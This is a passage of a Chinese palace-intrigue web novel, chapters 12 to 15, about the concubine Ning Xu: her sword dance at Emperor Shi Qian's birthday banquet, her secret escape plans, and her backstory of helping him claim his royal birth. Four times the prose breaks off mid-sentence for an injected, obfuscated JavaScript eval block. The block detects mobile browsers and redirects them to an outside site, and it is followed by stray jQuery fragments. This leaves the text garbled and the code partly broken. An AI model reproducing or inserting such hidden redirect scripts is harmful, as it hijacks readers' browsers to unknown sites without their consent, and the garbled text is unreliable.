看了半天也没得到她的回应，石虔心里暗骂一句小没良心的，但又不得不承认，区区寿宴，的确不至于让她起什么波澜。 她是跟他一起闯出来的女人，上刀山下火海，鬼门关不知道走了几遭了，实在不需要眼神鼓励。 石虔收回视线，开始翻牌。 第一个抽中的正是邓贵妃。她生就一副好歌喉，又自小练习七弦琴，弹唱于她而言不在话下，轻易便博得满堂喝彩。 邓丞相亦身处文臣之列，瞧着女儿行云流水般抚琴，眼中满是骄傲和欣慰。 第二位抽中的是丽嫔，乃京师布政使之女，最擅舞艺。不过落在石虔眼中，没品出太多的精妙之处。 他早年玩杂耍的，做过不少高难动作。丽嫔这一套舞蹈，就是仗着衣袂飘飘，看似优雅，身段也软，但欠缺独到之处，换个人练一阵子，照样能有这个水平。 罢了，不能对养尊处优未经世事的千金小姐要求太高，能搭个花架子，面子上好看就够了。 他拨弄着木牌，从中又抽了一根。 内侍长随即宣读木牌上的名字。 邓贵妃一怔，该来的还是来了。这第三签，果然是宁絮。 她怀着侥幸的心情，安慰自己。嫔妃能拿出手的才艺，无非是琴棋书画，唱歌跳舞，此时下棋、写字和作画都不合适，另外几样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326040|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又金玉在前。 看她还能玩出什么新花样。 宁絮站起身，从容不迫地走到距离石虔三步远的地方，依照规矩行了礼祝了寿，而后从外袍底下抽出一狭长之物。 在灯笼和烛火的照耀下，离得近的人看见，那是一柄短剑。 前排文臣无不色变，侍卫也纷纷围拢上来，高喊：“保护陛下！” 宁絮将剑高高举起，不紧不慢道：“看清楚了，这剑并未开刃。臣女出身低微，弹唱歌舞拿不出手，只会舞刀弄枪，都是些不入流的功夫，献丑了。” 石虔笑呵呵地摆手，示意他们退下：“朕从未见过哪位嫔妃舞剑的，今日倒要开一开眼。你们离得远些，别阻碍了人家发挥。” 说话间，边上有几位抱着琵琶的女子已然拨动琴弦。 既是舞剑，她们所奏之曲并非柔婉小调，也不是气势磅礴的战歌，不似中原地区的曲风，带着大漠的苍凉和沉静。 宁絮的剑划破绛蓝的夜空，一招一式皆带有肃杀之意。与丽嫔不同，她虽也有后仰弯腰的动作，但与柔媚二字毫不相干，更像是一位战士躲避暗箭，与此同时挑动剑锋，将敌方的箭雨扫得七零八落。 这柄短剑的剑身泛着冷光，灼得诸位文臣武将眼睛发痛。宁絮还屡屡用剑尖扫过他们，甚至还分得出心神瞥他们的脸。 剑尖距他们少说有十来步远，除非宁絮突然脱手，朝着他们甩过来，否则实在不必担忧，他们性命无虞。 但多数人还是不自在地理了理领口，下意识地护着脖颈。 他们中有不少人曾与宁絮打过交道，见识过她滴水不漏的行事风格。看着文文弱弱一个姑娘，乍见令人生不起警惕心，不知不觉就让她套了话，等回过神想反击，发现早就被她逼上绝路，要么倒戈，要么死。 她所做的每一件事，表面看着都平平无奇，细想之下却不免让人寒意丛生。 哪怕后来他们都归属石虔，是自己人了，对宁絮和她背后那一队女子，也依然提不起好感。任由她们集结在一起，恐怕是个隐患。 也幸而她们都是女子，想打散来拆开来，比较容易。 宁絮自幼便略通剑术，后来进了明月楼，亦习得了舞蹈，两相结合，别有一番风味。然而他们无心欣赏，她的剑法愈是凌厉炫目，他们就愈是如芒在背。 她挥出去的每一剑都杀气腾腾，至于这份杀气来自何处又去往何处，他们本能地排斥去想，只希望这场荒唐闹剧快些结束。 哪有妃子在陛下的寿宴上舞剑的，分明是挑衅，其心可诛。 琵琶声停，利剑入鞘，宁絮面向石虔，像前两位嫔妃一样行礼致意。 偌大的太和殿鸦雀无声，人人都怀着心事，生怕任何一个动作就暴露心中所想。 直到石虔重重地拍了几下巴掌：“好！宁良媛真可谓深藏不露，今日剑舞实在别具一格，艳惊四座，当赏！” 说罢，他环视四周，慢悠悠道：“诸位爱卿，你们觉得呢？” 12. 赏赐 皇上都这么说了，这便是没给任何商量余地，哪怕宁絮舞着舞着摔个狗吃屎，他们也得交口称赞。 原本寂静无声的大殿，忽而掌声雷动，溢美之词不断。 提位份的事，也变得顺理成章，连提两级，升为美人，仪式择日举行。 宁絮但觉自己整个人要被四面八方的眼神盯穿了，她心里好笑，面上还是恭恭敬敬道了谢。回到翠微阁才放松下来，逗了一会儿鸽子才去沐浴。 新来的这批灰鸽子，一个个都被她喂得肥嘟嘟，扎堆聚在一块儿异常壮观。若是没有与它们朝夕相处，还真分辨不出是不是少了一只，少了哪一只。 珠宝首饰亦然，那天石虔派人送来了两大箱，都是值钱的好货。晚云和翠柳听宁絮说，这是给她们留存的嫁妆，惊得说不出一句话。 因尚未出嫁，嫁妆由宁絮代为保管，不过她们可以随时拿出来看，觉得喜欢的，也可以在没有外人的时候戴一戴。 这两箱子够她们换着花样戴很久，她们也不会专门记录具体有哪些东西。宁絮这个代管人悄悄拿出几颗南珠，谁也发觉不了。 翠柳在身后给她舀热水，帮她洗头。宁絮想到那两箱嫁妆，觉得自己此举有些猥琐，像个偷儿，可也实在是没辙了。 她累得紧，偏偏脑子里总在想些有的没的，头发干了也睡不着。不知翻覆多久，她听到房内有脚步声，是那种刻意放轻的声音。 今夜是不用睡了，她释怀地坐起身：“陛下，您进来可以喊臣妾，臣妾为您点灯。黑灯瞎火的，当心摔着。” 石虔有点遗憾：“朕本来还想吓你一吓，你竟然没睡。” “您不也没睡。”宁絮任由他抱着，听他声音也能猜到他面有得色，知道他心情不错，找她邀功来了。 “位份提了，住的地方也得换个大的，过两日你迁去凌霄阁，那边向阳，冬天暖和。” 宁絮一惊，连忙道：“臣妾在翠微阁住惯了，能不迁就不迁吧。” 开什么玩笑，这要是换了，点点回来找窝都费劲。若是翠微阁空着倒也罢了，有人在这儿，看到一只不认识的鸽子盘旋四周，心里难免犯嘀咕。 石虔没有强迫她接受好意，只道不换就不换。宁絮这才松一口气，想起什么，对他咬耳朵：“陛下，那柄剑臣妾搁置在角落，天亮了您带走吧。” 后宫对利器一贯是严查，嫔妃能接触到的最锐利的东西，就是自己的簪子。宁絮能拿到这把剑，全是托了石虔的福，如今用完了，自然应当物归原主。 “不肯多留它几日？朕看你舞剑舞得投入，以为你舍不得还，想着干脆送你得了，也算给你的补偿。本该给你的生辰礼，都拖到朕的生辰礼了，是久了些。” “留在这里不好，平白遭人猜疑。臣妾可背不起行刺陛下的黑锅。” “哈！区区口舌之争，你还放在心上么？”石虔想起一件可乐的事，“邓丞相方才专门挽留了朕，你可知道他说了什么？” 除非石虔主动提及，否则宁絮对朝堂之事一无所知。他既叫她猜，那想来应该是与邓贵妃有关了。 背后说人坏话须谨慎，指不定几时就让人卖了。宁絮经过千锤百炼，对这种事有数，心里虽有答案，但不直说。 “可是有什么奏折需要陛下抓紧批了？” “谁这么不懂事，寿宴一完就喊寿星批奏折。”石虔拍了她一下，笑道，“他替他姑娘患得患失呢！” 回想起邓丞相所言，石虔就止不住笑。实在是这个借口太过拙劣，连黄口小儿都未必骗得过。 “他说，给你提位份，相当于把你在后宫里绑死了，你心里头还未必乐意，可别好心当做驴肝肺。” 石虔抄起她晃两下：“宁美人，告诉朕，你乐不乐意啊？” “若不乐意，臣妾根本就不会提出舞剑啊。”宁絮咯咯笑着，掩饰心头酸涩。 她和邓丞相私下接触，还是数年前。当时石虔在几个皇子当中，已经逐渐有了占上风的苗头，她去拉拢邓丞相这一派势力，谋求支持。 那会儿邓丞相还不是丞相，但眼光老辣，她准备的那些手段还没用上，就被揭穿了来意。 宁絮第一次这么窘迫，一度以为自己出不去他府邸大门了。但他没对她动手，也没在言语上为难她，只问了她一个问题。 “你为何要帮七皇子？” 这是个峰回路转的时机，必须抓住。宁絮立刻向他陈情，一条一条分析石虔优于他人之处，并且许诺了丰厚的回报。 邓丞相待她说完，摇了摇头：“我是问，你，为何要帮他？看你应当没少孤身一人闯龙潭虎穴，你自己又是看中了他哪些地方？时间宝贵，勿要绕弯子，否则休怪我下逐客令了。” 宁絮的理由一只手数不完。看这个老狐狸波澜不惊的脸，她也不知道哪个理由能打动他。 最终她心一横，说了一个在她心里比重最大的。 “因为他重情义，尤其重义气。” 邓丞相眉尾一挑：“何以见得？” 若要与他细细叙话，几个时辰都说不完了，还容易暴露不该暴露的东西。宁絮只把过往掐头去尾，说他收留了儿时的很多伙伴，根据每个人擅长的方向，安排了不同的活计。 “他大可以给口饭吃打发了我们，男子安排去做些粗活，女子做点纺织。但他不，安排给我们的事情，都是重中之重，做得好了，未来就有实打实的功绩拿得出手。” 功绩意味着荣耀，意味着身份地位的提升，在此之前他们不过勉强苟活，对前途二字不敢肖想，但现在也可以大着胆子做一场梦了。 能凭儿时和少年情谊，从石虔手中换得一个受重用的机会，如何不算他重义气？ 尽管其中还有诸多考量，不是用义气二字就能概括的，但她确实很承这份情义，肝脑涂地，在所不辞。 邓丞相听完，打量了她很久，末了嗤笑一声：“想得挺美。” 宁絮本以为这事没戏了，但他又大手一挥，给了她一块腰牌，叫她回去复命。 邓丞相此举，她琢磨了挺久，直至行将就木之时，才明白他言外之意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326041|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 石虔的确有情有义，但得看是对谁。每个人都在他心里那一杆秤上过了斤两，谁的分量轻，得到的情义就少，她们这种，就不要肖想义气了，能落着点虚无缥缈的情意，都算格外开恩。 至于邓丞相肯允了这件事，助石虔夺权称帝，大抵是慧眼识珠，看中了石虔的潜力。与她的回答，则没有多大的关系，纯粹是心血来潮逗她一逗。 姜还是老的辣，邓丞相那句想得挺美，她须时刻铭记于心。 不管她为石虔称帝铺了多少路，牺牲了多少，只要石虔登基，从此爱侣、友人的身份都要往后排，排在第一位的永远是君臣。 皇上心血来潮想论情义，臣子配合着演一演，皆大欢喜，万不可当了真，更不可主动与皇上掰扯这些，除非脑袋不想要了。 何况果真论起来，兄弟情谊总是高出男女之情一等，臣子又比妃子高出不知道几等。邓丞相看得太明白了，她从一开始就没有丝毫胜算。 是她太拿自己当根葱了。 石虔还在她耳边喋喋不休：“邓筠生了个公主，到底不是太子，他还没完全放下心呢。朕提拔了你，他生怕威胁到他姑娘的地位。你没看他那个样子，又小心又急迫，平时那份稳重全没影。” 宁絮下意识地接他话头：“陛下如何回复他的？” 石虔忽地卡壳，随口带过：“说些套话罢了，他也就是需要几句面子上的保证，吃颗定心丸。” 真实的回应，自然不好在宁絮面前讲出来。 邓丞相能提防宁絮，简直令他惊异。宁絮娘家都没了，无依无靠，就算有本事也没那个用武之地，过得怎么样，全仰仗他。 再说了，区区美人，离贵妃还远着。 他笑着打趣邓丞相关心则乱，解释说不过是突然对宁絮来了新鲜感，便随手施以荣宠。新鲜感这种东西，此一时彼一时，指不定哪天腻了，再找个由头降罪，把位份又压回去。 “筠儿才是朕的心头好，动得谁也动不得她。” 宽慰了邓丞相，石虔自己都觉得这句话恶心。他对邓筠，最初是有些好感的，毕竟她年轻貌美，虽然娇蛮任性，可叫她折腾几下，日子倒也算有滋有味。 年纪上去后就不行了，从贵妃提拔成皇后，本事却无长进，后宫管得乱七八糟。 若不是看在邓丞相忠心耿耿，尽心尽力辅佐，她又为自己生了太子和几个皇子公主的份上，他是真想把这个蠢妇撵出去。 想到这些，石虔不免头痛，搂着宁絮的手紧了紧。没了宁絮，越往后日子越难过，连个能商量事情、说知心话的人都找不见。 宁絮感觉到他在抚弄自己的长发，被他摸久了，她昏昏欲睡。半梦半醒之际，她听到他问：“你应该没有之前那么害怕朕了吧？” 闻言，她掐了自己大腿一把，逼自己清醒过来，但声音还黏黏糊糊没睡醒似的：“好一点吧。” 石虔的两只胳膊像两条蛇缠过来，手指如毒牙，叼住她小腹。 “明年，最迟明年，我们要个孩子吧。” 13. 铤而走险 宁絮困迷糊之前，没忘记算时间。 如无意外，明年年末，邓贵妃就诞下了第二个孩子。 当年她被困在冷宫，消息不灵通，饶是如此，也能从宫人的议论里拼凑出一些东西。 御医把了几次脉，都说这次一定是皇子。虽然这事也有不准的，可御医既能说出口，便是十拿九稳。 如此说来，石虔口中的这个时间段，就很微妙了。 邓贵妃明年冬至诞下孩子，若是皇子，太子人选便定了。他爱怎么折腾都行，反正后继有人。 他方才说，明年想跟她要个孩子，这事并非行不通。只要她有孕的时间晚于邓贵妃，晚大约三个月，不管她怀的是皇子还是公主，都不影响大局。 但是——她是重活一次，故而对很多事情都有数，可石虔又是凭什么？不管是对孩子的诞辰还是性别，他都比御医更加笃定。 她心中疑窦丛生。 是巧合吗？世上有这样的巧合吗？ 石虔的手还按在她小腹，大有要这么搂着她睡一夜的架势。她话在嘴边滚了几转，终究是不便问出口，又咽了回去。 本来寿宴就结束得晚，他们又聊了许久，此时已是后半夜。宁絮含糊地应了几声，石虔也没精力跟她扯东扯西，拥在一块儿，不知不觉就堕入黑甜乡。 石虔身为一国之君，过完寿，该批的奏折一份也跑不了，还得召集臣子商议国事，忙得顾头不顾尾。 真正清闲的当属宁絮，明眼人都看出她在石虔那儿地位超然，即便她位份只是美人，大家也心照不宣，额外予以优待。 一些不那么重要的礼数能免则免，更无人对她挑眼拿错。 她每日无所事事，上午在花园里压腿舒展筋骨，下午翻些闲书，弹琴练字。此外，雷打不动分出一个时辰伺弄她那群胖鸽子。 除夕夜，她从筵席回来，甫一进门便听得翅膀扑棱声。点点从树梢降落在她肩头，脚爪上缠了一小块枣红色的布。 宁絮拆了那块布，揣进衣兜，挠了挠它的脖子：“你辛苦啦，明天给你加餐。” 这块红布乍看普通，什么也没有，她将手炉贴上去，温热片刻，几个字符便显现出来。 旁人见了大抵以为是什么鬼画符，或者是不识字的小孩随意乱写的，但是宁絮看一眼便通晓其中玄机，会心一笑。 秋霞用了密文，这套密文是她们出任务时协商敲定的，很多不便直言的情报，想传递出去唯有加密，只有她们自己人能看懂。 “已收，老地方。” 秋霞还在那家酒楼，还没挪窝，这算是一件好事，至少她知道能去哪里找她。至于那些个南珠美玉会不会让人抢了，她不担心，秋霞最擅长的就是藏东西。 她破译了密文，随后就把布条丢进炭火，待其烧得看不出形状，才洗漱就寝。 粗略一算，点点送去的那些珠宝，能换得不少钱了，衣食住行日常开销，够她们用两三年的。若是想开一间小店，做些小本买卖，这笔钱用作交租进货，也是绰绰有余。 她对逃出去之后的生活，还没有长远的计划。在宫里拘了几年，对外面的世道不甚了解，等跟秋霞碰面了，再做决定。 除夕一过，就是石虔口中的明年。他所说的兴许是玩笑话，但她必须抓紧时间，万一真叫他弄出了孩子，她就走不成了。 十月怀胎，变数大着呢，不定就落得个母子俱亡的下场。 连续下了数日的雪，终于在上元节那天停了。但是天色并不明朗，乌云蔽日，阴沉沉的，看得人心里发坠。宫里张灯结彩，也驱不散这片阴霾。 晌午过后，宁絮本想小睡片刻，晚上还要去太和殿。脑袋挨了枕头没多久，石虔就溜进来，不由分说要带她走。 宁絮有时候真烦他，这人比她印象中任性太多了。 不过她面上还是陪着笑：“陛下，您要去哪儿？” 石虔不语，只管把她往小轿里塞。见他脸色不好，她也识趣，不追问，像个鹌鹑一样，安分地窝在他旁边。 这段路比她想的长，下了小轿又换马车，双脚落地时她抬眼望见牌匾，有些惊骇。 牌匾上书安寿殿，却跟前殿后宫都不搭边。这是安葬先帝的地方。 上元节这种喜庆日子，带她来陵寝，她肚兜都被冷汗浸透了。 石虔牵住她手，一步一步将她领到先帝牌位前。 他不发话，她不知道自己究竟跪还是不跪，也不好意思直勾勾盯着牌位，只得低头看脚尖。 说起来，石虔从没带她来祭拜过先帝，其他嫔妃似乎也没跟他来“拜高堂”。 再者今日也不是清明，好端端的跑来这儿，晦不晦气。 宁絮脚趾都麻了，石虔才淡淡道：“昨晚我梦见他了。” 这话倒是出乎她意料。在她印象里，石虔跟先帝谈不上什么父子情谊。 本来就是十几岁了才认回来的，又不是从小放在身边娇养着长大，再怎么血浓于水，还是生分。 他说话了，她就不能让话掉在地上，于是问道：“先帝可曾与您说了什么吗？” “说了，他说他想我了。” 石虔凝视牌位，若有所思。 “你说他是不是后悔了？” 宁絮听罢唯有无奈，她如何能洞悉一个死人的想法。 不过先帝临走前那几年，的确对石虔流露了非同寻常的柔软。 石虔的娘去得早，只留了一幅画和一根翡翠簪子给他。因为是母亲留下的遗物，他一直小心保管，再苦再累也没有动过变卖的念头。 至于画像上的男子姓甚名谁，母亲未置一词，背后有没有什么风流韵事，更加不得而知。 宁絮和他混熟了，才有幸一睹这两样东西。最先看到的是簪子，她好歹当过几年的千金小姐，什么值钱什么不值钱，看一看摸一摸就能估个大概。 这翡翠簪子虽然脏兮兮的，落了灰和泥巴，但用的是上好的材料，擦拭干净后，看样式和纹理，亦是精工细作，平民百姓轻易接触不到此等首饰。 再看看画像，画中人气宇轩昂，眉宇间有种不怒自威的气势，不知是否经过作画者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326042|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的美化。 宁絮留意到此人右边眉毛是断眉，眉尾还有一颗痣。 她记人脸一向又快又准，明月楼恩客来来往往，她须得记住每个人的样貌和姓名，服侍过程中要是喊错了人，那可是吃不了兜着走。 本来这也就是出于习惯，顺便记下，倒没想派上什么用场。半年后凑巧接待了一位从京城来的客人，鸨姐儿对她再三嘱咐，此人来头不小，务必好生伺候。 男人总是爱吹牛的，谋得一官半职，又与功成名就相去甚远的男人尤甚。一杯茶不到的工夫，宁絮功成身退，靠在他身上听他讲京城如何繁华。 我还进宫面见过圣上哩！他眉飞色舞，谈及皇宫的豪华与森严，滔滔不绝。 宁絮捧着他顺着他，做一朵知心解语花，永远在话里留钩子，好让他接着炫耀。 皇上会不会很凶？她做小女儿姿态，掐着嗓子，仿若受惊。 陛下断眉，又有一颗黑痣，的确不那么平易近人，可做出了功绩，他是不吝夸赞的。男人惯会欲扬先抑，紧跟着便开始吹嘘，自己入宫面圣，因表现突出，受到了多少褒扬。 宁絮一瞬间福至心灵，不知怎的就将皇上与那副画像联系在一起了。 后来男人又来了几趟，次次都是她作陪。她从他口中套出了一些有关皇上的消息。虽然不多，也不能确保都是真的，但足以令她萌生一个大胆的念头。 男人提到，皇上十多年前来过余杭，体察民情。 跟石虔的年纪，也能对得上。 她以身体不适为由，软磨硬泡，好不容易从鸨母那儿要来了一天的休息。又拜托秋霞和小梅帮忙顶着，然后从明月楼溜出去，找到石虔的班子。 他们近来很不顺，一句话没说对，开罪了县丞家的小公子，三天两头被人找麻烦。石虔昨日帮项志挡了地痞拍过来的石砖，胳膊到现在还不大能抬得起来。 听了宁絮的想法，他被骇得脸色苍白，将声音压得极低：“你疯了？万一我不是呢？冒领皇子身份，被查出来，是欺君之罪，要杀头的！” 宁絮已经有了初步的计划，她不是冒进之人，进了京城，还会多方打探，不至于一上来就闯皇宫。那么多侍卫，他们也闯不进去。 任凭她如何晓之以理，石虔都觉得这是一桩荒唐事，劝她死心。 她沉默了一会儿，指着他胳膊：“这种日子你还没过够？哪怕是这种日子，你觉得又能过多久？” 下九流的行当，是个人都能来唾一口。稍微有些权势的人，摁死他们就跟摁死蚂蚁一样。 即便没开罪人，他们玩花活的，天然要冒险，多的是人把自己玩进去的。玩瞎眼睛，玩断骨头，大有人在，观众就爱看这些，没辙。 钱是攒不下几个，又落得一身的伤病，年纪稍微上来，便可预见晚景凄凉。 至于她，更是不必多说，烟花巷出来，能有什么好下场。 被发现了杀头，无非是死得痛快一些，他们现在苟延残喘，死得慢一些，痛苦也因此绵绵不绝。 不如豁出去，搏一把。 14. 认祖归宗 石虔不是傻子，他们是什么处境，他看得分明，但只要还有一口气，日子总要过下去，于是轻易不去想这些。 宁絮未尝不懂，可她不甘。 泥足深陷却不自救，只等着被泥沼吞噬，到了一定后悔，死也是让自己给憋屈死的。 不过这牵涉到石虔，他的意愿她勉强不来，只好点到即止。 “我们虽是贱命一条，可也不是生来就合该这么贱。” 她拿了草药，给他敷伤处。 “那些仗势欺人的东西，他们的好日子同样不是天上掉下来的，总归是父辈或祖辈冒过风险吃过苦，坐上了那个位子，方能庇佑他们胡作非为。” 反之，时运来了抓不住，瞻前顾后畏首畏尾，那就只好继续当个贱骨头，子孙后代亲朋好友也跟着让人糟践。 她言尽于此，叫他这些天尽量不要沾水，少做费力气的活计，下回得空了再见面。 半月后，一个大雨倾盆的夜晚，他翻进明月楼来找她。 “我们走吧，两三天后就动身，去京城。” 他旋即又道：“我师父不在了。” 那些地痞经人授意，越加猖狂，找上班子里，巧立名目收取钱财。本身他们挣的就不多，上交后真要喝风饮露了。 师父话说得再委婉不过，奈何碗大的拳头依然落了下来，下雹子似的。想是被打断了两根肋骨，骨头不知道扎到了什么要命的地方，又是喘不上气又是吐血，熬了几日，没能挺过去。 他既做了决定，宁絮也不拖延，抓住最近的几位恩客，略施手段狠宰一笔，加上她平日就精打细算，手里有余粮，算了一通，竟凑够了赎身的钱。 其他姐妹都不懂，石虔又不是什么显赫人家的公子，都自身难保了，她几乎散尽钱财也要跟他走，图什么？ 平时处得再好，也不能就这样头脑发热，把下半辈子都赔进去呀。 宁絮难以对她们解释，只道自己走后，会写信回来，有条件了还会来看她们。 路途遥远，他们又囊中羞涩，本来做好了一路做工一路走的准备，走个一两年也认了。不过运气还算不错，碰上举人进京赶考，宁絮剪了头发扮作小子，跟石虔一道求情，混了个当杂役的机会，跟着驿车，数月便至。 杂役原是没有工钱可拿，只管饭，那位举人老爷心善，还打赏给他俩几个铜板，够他们花一阵了。 他们在京城举目无亲，无人可投靠，又要维持生计又要打探消息，权衡一番后，宁絮拉着石虔，去京城最有名的酒楼谋差事。 大酒楼不乏名流权贵，他们谈笑间不经意抖落出来的事情，说不定就能帮上他俩。 她头发已经养长了，脸蛋擦干净，站在那儿就是门面。酒楼倒也乐意让美人多露脸，食客看了赏心悦目，于是安排她去雅间端茶送水。 石虔被安排去了后厨，可施展拳脚的余地不多，重任便落在她肩头。 在酒楼做了三个月，她迎来一位贵人，是御史台的官员，因宴请需求，包了一间雅间，宁絮隔三差五就要与他照面。有一次，他身边一个愣头青会错意，说了不该说的话，她适时出现，将场面圆了过去。 彼时皇上已经病重，太子不成器，底下几个皇子都蠢蠢欲动，朝中派系林立，暗潮汹涌。这位官员亦有自己的立场，看宁絮貌美，处事也得体，就想收在身边帮着做点事情。 宁絮洞悉时局之后，觉得借助他的手把石虔送进宫里与皇上相认，或可一试。此时认亲，必然被各方当作箭靶，但也正是看在石虔能作靶子的份上，皇上才更有可能认下他。 她与官员通了气，官员便把石虔一道接回家里，看过了他的信物，置办了几套朴素干净的衣服给他。 时隔半月，宫里派了一辆马车，接他们入宫觐见皇上。 宁絮早把背后的故事编好了，让石虔记着，还私底下排演了几次，杜绝任何穿帮的可能。 不过皇上并未刨根究底，看了一眼那幅画，顷刻间便老泪纵横。问石虔这些年过得如何，石虔亮出自己一手的疤痕和茧子，他捧在手里，痛呼孩子受苦了。 当然，滴血验亲这一关是要过的，针尖扎进石虔手指，宁絮在后面能看到他冷汗浸透后背。 好在两滴血相融，皆大欢喜。 有了皇子的名分还不算，皇上还特意安排了太师，带着他读书练字，习武强身。 石虔受重视，其他皇子免不了处处针对陷害他，无暇他顾。宁絮那两年亦活得战战兢兢，打起十二分精神，帮他防灾避祸。 这些日子遥远得像一场梦，她看着先帝牌位，心里泛不起半点波澜。 按说先帝是害她父兄被冤杀，害她流落风尘的罪魁祸首，她该恨他。但是常年提心吊胆，为了生存疲于奔命，心力都耗竭了，实在没有多余的力量去恨他。 石虔还对着牌位失神，她不好吱声，不能搅扰陛下怀念父亲。 先帝对着画落泪，拉着他的手关心他，究竟是真情流露还是逢场作戏，抑或都有，早已不得而知了。 甚至于血滴相融，在她眼里也就那么回事，她很早的时候跟秋霞一起割破手指，血也混作一处，分不清谁的是谁的，难道她俩也是血亲？ 不知道他在伤春悲秋什么，她也不敢问。 石虔摆了一只新鲜苹果到牌位前，忽然又道：“我觉得他一定是后悔了，当年抛下我们母子俩不管。” 宁絮讷讷道：“兴许是的。” “人越是接近死亡，想到曾经待自己很好，但又被自己亏欠过的人，就越是后悔。” 她听出他意有所指，但懒得跟他玩猜谜游戏了，点头称是：“陛下说得有理。” 石虔难得这样忧愁，又过了一个时辰才带她出了安寿殿。上了轿，他神思回归：“上巳节不远了。” 每年上巳节，他都要携宫中妃子前往畅春园。畅春园有一片湖水，于水边举行祭礼，意在洗濯垢污，除灾求福。 “今日还是上元节，陛下已经想到那么远了。”宁絮笑道。 “可不，这一桩桩，都得提前筹备， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326043|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦着呢。”石虔撑着头看她，“邓筠脑子没那么好使，朕也担心她到时候不方便，不若你搭把手？” 宫中操办这些仪式，都由总管内侍拟定流程，再由邓贵妃过目，有什么需要调度的，也要经过她手。 宁絮心脏几乎冲破胸膛。 这才是得来全不费工夫。 她不假思索，一口应下，感激之色溢于言表：“谢陛下信任！” 石虔乐了：“你还真是天生劳碌命，换了别的人，只怕都嫌繁琐，嘴上应得好好的，心里不情不愿。” “不，臣妾最乐意做事，陛下如果能交由臣妾全权统筹，便再好不过。仅此一次，让臣妾过过瘾，来年还让贵妃娘娘安排。” 她的能力放在这种事上，显然大材小用，绝无办砸的可能。石虔应允，叫她别束手束脚，祭礼之外，想玩什么尽管说，尽兴最要紧。 上元节翌日，宁絮起了个大早，叫人拿来畅春园的地图，开始写写画画。这里要安置什么，那里要塞几个人，一项一项有条不紊地罗列出来。 她热火朝天地做着计划，那边石虔也没闲着，未及出发，传来消息：邓贵妃再次有喜了，预计今年十二月下旬生产。 宁絮听闻此事，竟不觉得意外，石虔所说的不方便，在这儿等着呢。 他可真是料事如神。 对他身上的诸多反常，她已无心探究，迟早有一日，这就是个再也见不到的人，不值得她分出心思去记挂。 上巳节赶上了好时候，连着一个月都是大晴天，天气还不热。石虔下了马车，看着一碧如洗的天空，笑言今年必将风调雨顺。 邓贵妃与他同乘一辇，挽着他胳膊娇声道：“陛下金口玉言，能否替臣妾许个愿望？” 她心眼子就那么点大，不用说出口石虔也知道她想许什么愿，手轻轻放在她腹部：“这回准是皇子，错不了。” 邓贵妃闻言，喜笑颜开，往石虔脸颊上啄了一口，俨然一对恩爱夫妻。 这两个月，石虔应当是没少哄着她，她又不是一个心思特别重的人，有人肯宠着她，她心情就大好，看谁都顺眼。 包括对宁絮，也能真心实意地笑一笑，寒暄起来也带着俏皮的尾音。 石虔这回让宁絮来主理上巳节，她也并不放在心上，没有丝毫权柄旁落的危机感。一个烟花女，身后没有靠山，还能骑到她头上来了？ 宁絮受累她享福，何尝不是一桩美事？陛下到底还是心疼她的。 她从容踱步到宁絮身边，主动招呼：“宁姐姐身边怎么不见了人？鸽子也没带来？这儿地方大，挺适合让鸽子过来飞几圈的。” “嗐，别提了，那两个小丫头前两日犯了错，罚她俩在宫中面壁思过了。鸽子更是不能带，万一在祭礼上撒野，岂不贻笑大方。” “唉，倒也是，不过有鸽子在，有点生机，不然无趣了些……” “娘娘放心，晚上乘船游湖，还有花灯和烟火可看。”宁絮眼神幽幽，如鬼火跃动，“一定精彩十足，您瞧好了。” 15. 坠湖 上巳节虽有祭祀仪式，但本身不算特别重大的节日，之所以保留至今，意义就在于能让皇上短暂的抛开朝政，光明正大来行宫玩乐。 因此制定计划时，祭祀的比重就占得不大，主要琢磨的还是如何让陛下玩得痛快。 畅春园的湖既大且深，绵延数里，乘船游览，入目皆是苍翠山林。 此等美景宫中难见，过了申时，仪式完毕，众人便一窝蜂上了船。宁絮一改以往华丽奢靡的风格，这次的游船都很精巧，面积不大，一艘船仅能容得下十人。 